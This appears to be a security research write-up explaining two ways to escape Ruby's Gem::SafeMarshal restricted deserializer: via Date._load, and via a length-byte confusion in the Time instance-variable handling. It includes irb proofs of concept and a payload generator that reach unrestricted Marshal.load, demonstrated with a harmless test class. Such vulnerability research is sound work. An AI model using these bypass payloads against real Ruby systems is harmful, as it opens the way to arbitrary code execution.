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Content

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Gem::SafeMarshal escape

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In September 2023, Ruby added `Gem::SafeMarshal` in an attempt to make deserialization while processing packaged library `.gem` files safer. I decided to learn how it works and take on the challenge of breaking it to execute arbitrary commands.

How to use Gem::SafeMarshal

`Gem::SafeMarshal` can be loaded by requiring `rubygems/safe_marshal` or calling `Gem.load_safe_marshal`. `Gem::SafeMarshal` defines two methods, `safe_load` and `load`. With the `load` method you specify which classes, symbols and instance variables are permitted, whereas the `safe_load` method has a hardcoded list of what is permitted.

```
irb(main):001:0> Gem.load_safe_marshal
=> true

irb(main):002:0> class Foo; end
=> nil

irb(main):003:0> serialized_foo = Marshal.dump(Foo.new)
=> "\x04\bo:\bFoo\x00"

irb(main):004:0> Gem::SafeMarshal.safe_load(serialized_foo)
/usr/local/lib/ruby/3.4.0+0/rubygems/safe_marshal/visitors/to_ruby.rb:277:in
 'Gem::SafeMarshal::Visitors::ToRuby#resolve_class': Attempting to load unpe
rmitted class "Foo" @ root.object (Gem::SafeMarshal::Visitors::ToRuby::Unper
mittedClassError)

irb(main):005:0> Gem::SafeMarshal.load(serialized_foo)
/usr/local/lib/ruby/3.4.0+0/rubygems/safe_marshal/visitors/to_ruby.rb:277:in
 'Gem::SafeMarshal::Visitors::ToRuby#resolve_class': Attempting to load unpe
rmitted class "Foo" @ root.object (Gem::SafeMarshal::Visitors::ToRuby::Unper
mittedClassError)

irb(main):006:0> Gem::SafeMarshal.load(serialized_foo,
  permitted_classes: ["Foo"]
)
=> #<Foo:0x00007f149ec54a90>
```

How is Gem::SafeMarshal implemented

It wasn't obvious to me how `SafeMarshal` could be easily implemented as `Marshal` does not expose any means to restrict which classes can be deserialized, as opposed to Java which has method overriding of `resolveClass` on a subclass of `java.io.ObjectInputStream`. It turns out that the answer is that it wasn't easy and was achieved by creating a partial reimplementation of Marshal in pure Ruby.

How to escape Gem::SafeMarshal

The first thing I checked was if the lists of what is permitted by `Gem::SafeMarshal.safe_load` is overly permissive. The lists can be found in `lib/rubygems/safe_marshal.rb` and are shown below:

```
module Gem
  module SafeMarshal
    PERMITTED_CLASSES = %w[
      Date
      Time
      Rational

      Gem::Dependency
      Gem::NameTuple
      Gem::Platform
      Gem::Requirement
      Gem::Specification
      Gem::Version
      Gem::Version::Requirement

      YAML::Syck::DefaultKey
      YAML::PrivateType
    ].freeze

    PERMITTED_SYMBOLS = %w[
      development
      runtime

      name
      number
      platform
      dependencies
    ].freeze

    PERMITTED_IVARS = {
      "String" => %w[E encoding @taguri @debug_created_info],
      "Time" => %w[
        offset zone nano_num nano_den submicro
        @_zone @marshal_with_utc_coercion
      ],
      "Gem::Dependency" => %w[
        @name @requirement @prerelease @version_requirement
        @version_requirements @type @force_ruby_platform
      ],
      "Gem::NameTuple" => %w[@name @version @platform],
      "Gem::Platform" => %w[@os @cpu @version],
      "Psych::PrivateType" => %w[@value @type_id],
    }.freeze
```

At first glance, the lists of what is permitted seemed appropriately limited and plausibly contained only essential items. The list of permitted classes being so short meant I decided to work systematically through every class, starting at the top with the `Date` class.

I found the `Date` class implemented with C in the file `ext/date/date_core.c`.

```
static VALUE cDate, cDateTime;

void
Init_date_core(void)
{
[...]
    cDate = rb_define_class("Date", rb_cObject);
[...]
    rb_define_method(cDate, "marshal_dump", d_lite_marshal_dump, 0);
    rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);
    rb_define_singleton_method(cDate, "_load", date_s__load, 1);
```

I started with the `marshal_load` method as it is invoked during deserialization and is the common start of deserialization gadget chains. The `marshal_load` method was not too interesting, mostly data validation followed by stuffing values into an internal C struct. However, the next method, `_load`, which can also be invoked during deserialization, was much more interesting.

```
static VALUE
date_s__load(VALUE klass, VALUE s)
{
    VALUE a, obj;

    a = rb_marshal_load(s);
    obj = d_lite_s_alloc(klass);
    return d_lite_marshal_load(obj, a);
}
```

The `_load` method calls the C function `rb_marshal_load`, equivalent to `Marshal.load` in Ruby, with a value under our control. This means we can use a serialized `Date` object to obtain an arbitrary `Marshal` deserialization primitive. We can use this to move from `Gem::SafeMarshal` deserialization with restricted classes to `Marshal` deserialization with unrestricted classes. From `Marshal`, we can use a deserialization gadget chain to achieve arbitrary command execution.

```
irb(main):001> require "date"
=> true

irb(main):002> Gem.load_safe_marshal
=> true

irb(main):003* class Foo
irb(main):004*   def marshal_dump; end
irb(main):005*   def marshal_load(*)
irb(main):006*     abort "You win - Foo#marshal_load was called"
irb(main):007*   end
irb(main):008> end
=> :marshal_load

irb(main):009* class Date
irb(main):010*   undef_method :marshal_dump
irb(main):011*   def _dump(_depth)
irb(main):012*     Marshal.dump(Foo.new)
irb(main):013*   end
irb(main):014> end
=> :_dump

irb(main):015> Gem::SafeMarshal.safe_load(Marshal.dump(Date.new))
You win - Foo#marshal_load was called
```

A more interesting Gem::SafeMarshal escape

Instead of auditing more permitted classes, I moved onto reading source code of `Gem::SafeMarshal`. I came across some incredibly suspicious looking code within the instance variable handling. The code generates a serialized string using string concatenation including attacker controlled data. The serialized string is then passed to the real `Marshal.load`.

```
    def visit_Gem_SafeMarshal_Elements_WithIvars(e)
[...]
          marshal_string = "\x04\bIu:\tTime".b
          marshal_string.concat(s.size + 5)
          marshal_string << s
          marshal_string.concat(internal.size + 5)

          internal.each do |k, v|
            marshal_string.concat(":")
            marshal_string.concat(k.size + 5)
            marshal_string.concat(k.to_s)
            dumped = Marshal.dump(v)
            dumped[0, 2] = ""
            marshal_string.concat(dumped)
          end

          object = @objects[object_offset] = Marshal.load(marshal_string)
[...]
```

We control the value stored in the variable `s` in the above `visit_Gem_SafeMarshal_Elements_WithIvars` code. By supplying a string of size `0xf6`, when `5` is added, the value will then be `0xfb`, which `Marshal` will interpret as length `0` but our full `s` value is still concatenated.

This works because the Marshal format has various single byte encodings of the integer `0`, as shown below, which is unaccounted for by `Gem::SafeMarshal`.

```
irb(main):001:0> Marshal.dump(0)
=> "\x04\bi\x00"

irb(main):002:0> Marshal.load("\x04\bi\x00")
=> 0

irb(main):003:0> Marshal.load("\x04\bi\x05")
=> 0

irb(main):004:0> Marshal.load("\x04\bi\xfb")
=> 0
```

Now we have to work out what `Marshal` is expecting and how to craft one of those, and hope it has an impact to security.

It turns out `Marshal` is in the state ready to receive instance variables. First it needs to know how many instance variables to expect, I chose `1`, then a name, I chose `:zone`, then a value. The value can be an arbitrary serialized object, thereby achieving deserialization with unrestricted classes

once again. Here we can use a deserialization gadget chain to achieve arbitrary command execution (just be careful of the 240 or so byte limit).

```
irb(main):001* class Foo
irb(main):002*   def marshal_load(*)
irb(main):003*     abort "You win - Foo#marshal_load was called"
irb(main):004*   end
irb(main):005> end
=> :marshal_load

irb(main):006> Gem.load_safe_marshal
=> true

irb(main):007* Gem::SafeMarshal.safe_load(
irb(main):008*   "\x04\bIu:\tTime\x01\xF6\x06:\tzoneU:\bFoo0" + ("\x00" * 233)
irb(main):009> )
You win - Foo#marshal_load was called
```

The payload was generated using the following code:

```
class Foo
  def marshal_dump
  end
end

payload =
"#{Marshal::MAJOR_VERSION.chr}#{Marshal::MINOR_VERSION.chr}" +
"I" + # TYPE_IVAR
"u" + # TYPE_USERDEF
Marshal.dump(:Time)[2..-1] +
Marshal.dump(0xfb - 5)[3..-1] +
Marshal.dump(1)[3..-1] +
Marshal.dump(:zone)[2..-1] +
Marshal.dump(Foo.new)[2..-1] +
("\x00" * 233)

puts payload.inspect
```